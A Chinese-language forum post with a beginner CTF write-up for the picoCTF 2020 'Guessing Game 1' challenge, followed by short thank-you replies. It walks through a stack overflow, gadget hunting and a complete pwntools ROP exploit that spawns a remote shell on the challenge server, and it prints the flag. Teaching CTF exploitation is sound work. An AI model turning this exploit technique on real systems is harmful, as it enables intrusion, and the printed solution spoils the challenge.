疯如初 发表于 2020-10-31 04:48

picoCTF今年的pwn-ROP链(ctf新手向)(Guessing Game 1)

本帖最后由 疯如初 于 2020-10-31 05:27 编辑

# picoCTF - 2020 - Guessing Game 1 write-up
# 前言
新手可能不清楚pwn是什么

>”Pwn”是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似“砰”,对黑客而言,这就是成功实施黑客攻击的声音——砰的一声,被“黑”的电脑或手机就被你操纵了。
——百度百科

简单的说,就是想办法入侵远程服务器,通常以进入shell为目的
本题适合了解程序运行原理的ctf新手(至少得知道为什么返回地址在栈里面)(不了解的话能看懂这篇也了解了,可以接着往下看,遇到不懂的马上搜)
学汇编推荐王爽的汇编语言,虽然是16位dos(我就是用这个学的基础)
里面遇到了不懂的名词(例如ROP,Gadgets)都可以直接百度搜,本writeup更多的是给出方向防止走弯路
# 题目
### 来源
https://play.picoctf.org/practice/challenge/90?originalEvent=3&page=1
### 描述
I made a simple game to show off my programming skills. See if you can beat it!

`nc jupiter.challenges.picoctf.org 28953`

# 工具
IDA
VM - Kali Linux
Python
ROPgadget

# 分析
## 知识点
Binary Exploitation
Return-oriented programming (ROP)
分析一下,这个题目的目的是要在远程服务器上执行 `execve("/bin/sh",NULL,NULL)`
由于checksec发现nx被启用了,所以打消用shellcode的想法吧
(栈不可执行)
简单分析下,发现可以构造Gadgets链来做ROP

## 漏洞
分析 vuln.c 后发现存在 **栈溢出** 漏洞:

    void win() {
      char winner;
      printf("New winner!\nName? ");
      fgets(winner, 360, stdin);//overflow vuln
      printf("Congrats %s\n\n", winner);
    }
我们需要利用漏洞来栈溢出,这样我们就能劫持 `eip` 的控制权了
## Gadgets
利用ROPgadget找到Gadgets来构造链

运行以下命令

    ROPgadget --binary vuln --only "pop|ret"
    ROPgadget --binary vuln --only "mov|ret"
    ROPgadget --binary vuln --only "syscall|ret"

我们的目标是执行`execve("/bin/sh",NULL,NULL)`
所以发现以下有用的gadgets:

    0x00000000004163f4 : pop rax ; ret
    0x000000000044a6b5 : pop rdx ; ret
    0x0000000000400696 : pop rdi ; ret
    0x0000000000436393 : mov qword ptr , rdx ; ret
    0x000000000044cc49 : pop rdx ; pop rsi ; ret
    0x000000000040137c : syscall

## 反汇编

### do_stuff()
在第一次猜数字中输入 "84" (只要输入正确一次就能进入win()函数了)

Q: 为什么是 "84"
A: 我们可以利用动态调试器 (IDA debugger 或 GDB) :
我是使用IDA的远程调试功能连接了vmware虚拟机进行调试的
在这里设置一个断点:

    .text:0000000000400BBC               mov   , rax

我们会发现 `rax` 将会等于84

### win()
    .text:0000000000400C40               public win
    .text:0000000000400C40 win             proc near               ; CODE XREF: main+70↓p
    .text:0000000000400C40
    .text:0000000000400C40 winner          = byte ptr -70h
    .text:0000000000400C40
    .text:0000000000400C40 ; __unwind {
    .text:0000000000400C40               push    rbp
    .text:0000000000400C41               mov   rbp, rsp
    .text:0000000000400C44               sub   rsp, 70h
    .text:0000000000400C48               lea   rdi, aNewWinnerName ; "New winner!\nName? "
    .text:0000000000400C4F               mov   eax, 0
    .text:0000000000400C54               call    printf
    .text:0000000000400C59               mov   rdx, cs:stdin
    .text:0000000000400C60               lea   rax,
    .text:0000000000400C64               mov   esi, 168h
    .text:0000000000400C69               mov   rdi, rax
    .text:0000000000400C6C               call    fgets
    .text:0000000000400C71               lea   rax,
    .text:0000000000400C75               mov   rsi, rax
    .text:0000000000400C78               lea   rdi, aCongratsS ; "Congrats %s\n\n"
    .text:0000000000400C7F               mov   eax, 0
    .text:0000000000400C84               call    printf
    .text:0000000000400C89               nop
    .text:0000000000400C8A               leave
    .text:0000000000400C8B               retn
    .text:0000000000400C8B ; } // starts at 400C40
    .text:0000000000400C8B win             endp

函数的返回地址被储存在 `rbp+8`, 所以通过栈溢出来覆盖(重写)它就可以达到劫持 `eip` 的目标

## ROP: Gadgets
我们计划在劫持`eip`(win()返回后)执行以下汇编(组成以下的Gadgets链)

    ret      (retn of win() at .text:0000000000400C8B)
    pop rax
    ret
    pop rdx
    ret
    pop rdi
    ret
    mov qword ptr , rdx
    ret
    pop rdx
    pop rsi
    ret
    syscall

为了成功执行 `execve("/bin/sh",NULL,NULL)` , `rax` 得在 `syscall` 执行时等于 59 , `rdi` 应该是一个指向字符串 "/bin/sh" 的指针,`rsi` 和 `rdx` 应该等于 0 (NULL).

所以我们计划让栈变成这样:

    rbp+8                0x00000000004163f4                        Address of one of Gadget
    rbp+10h                59                                        rax
    rbp+18h                0x000000000044a6b5                        Address of one of Gadget                        
    rbp+20h                "/bin/sh"                              rdx (temporary use; will be overwrite later)
    rbp+28h                0x0000000000400696                        Address of one of Gadget
    rbp+30h                0x00000000006BA770                        rdi
    rbp+38h                0x0000000000436393                        Address of one of Gadget
    rbp+40h                0x000000000044cc49                        Address of one of Gadget
    rbp+48h                0                                        rdx
    rbp+50h                0                                        rsi
    rbp+58h                0x000000000040137c                        syscall

## 远程执行来找Flag: Python

运行以下的python程序(你需要pwntools库):

    from pwn import *
   
    sh = remote('jupiter.challenges.picoctf.org',50583)
   
    p = make_packer('all', endian='big', sign='unsigned')
    p64 = make_packer(64, endian='little', sign='unsigned')
   
    payload = p(0x90)*(0x70+8)      #rbp-70h
    payload += p64(0x4163f4)      #rbp+8h
    payload += p64(59)                        #rbp+10h
    payload += p64(0x44a6b5)      #rbp+18h
    payload += p(0x2F62696E2F736800)      #rbp+20h
    payload += p64(0x400696)      #rbp+28h
    payload += p64(0x6BA770)      #rbp+30h
    payload += p64(0x436393)      #rbp+38h
    payload += p64(0x44cc49)      #rbp+40h
    payload += p64(0)                        #rbp+48h
    payload += p64(0)                        #rbp+50h
    payload += p64(0x40137c)      #rbp+58h
   
    sh.recvuntil('guess?\n')
    sh.sendline(p(0x3834))#84
   
    sh.recvuntil('\nName? ')
    sh.sendline(payload)
   
    sh.interactive()

!

所以Flag是 `picoCTF{r0p_y0u_l1k3_4_hurr1c4n3_1ed68bc5575f6be1}`

# 最后的话

博客:https://frc6.com/index.php/tag/picoctf_2020mini/
Github:https://github.com/frc123/CTF/tree/main/picoCTF/2020%20Mini%20Competition
(英文版可以去博客或github看,非常感谢github给星星)

### 同系列的write-up
OTP Implementation(逆向):https://www.52pojie.cn/thread-1288992-1-1.html
Gussing Game 1(pwn-ROP):https://www.52pojie.cn/thread-1294291-1-1.html

谢谢阅读!(欢迎交流)

: https://frc6.com/usr/uploads/2020/10/2453405697.zip
: https://frc6.com/usr/uploads/2020/10/1353396828.png

bingshen 发表于 2020-10-31 07:12

很有借鉴的作用,谢谢。

lifz888 发表于 2020-11-2 08:19

非常好的分享,支持发帖

hideonbeach 发表于 2020-11-2 10:23

最近在学习这方面的知识,感谢分享

deoplljj 发表于 2020-11-2 22:56

最近正在入门pwn,感谢楼主分享,学习了。
页: [1]
查看完整版本: picoCTF今年的pwn-ROP链(ctf新手向)(Guessing Game 1)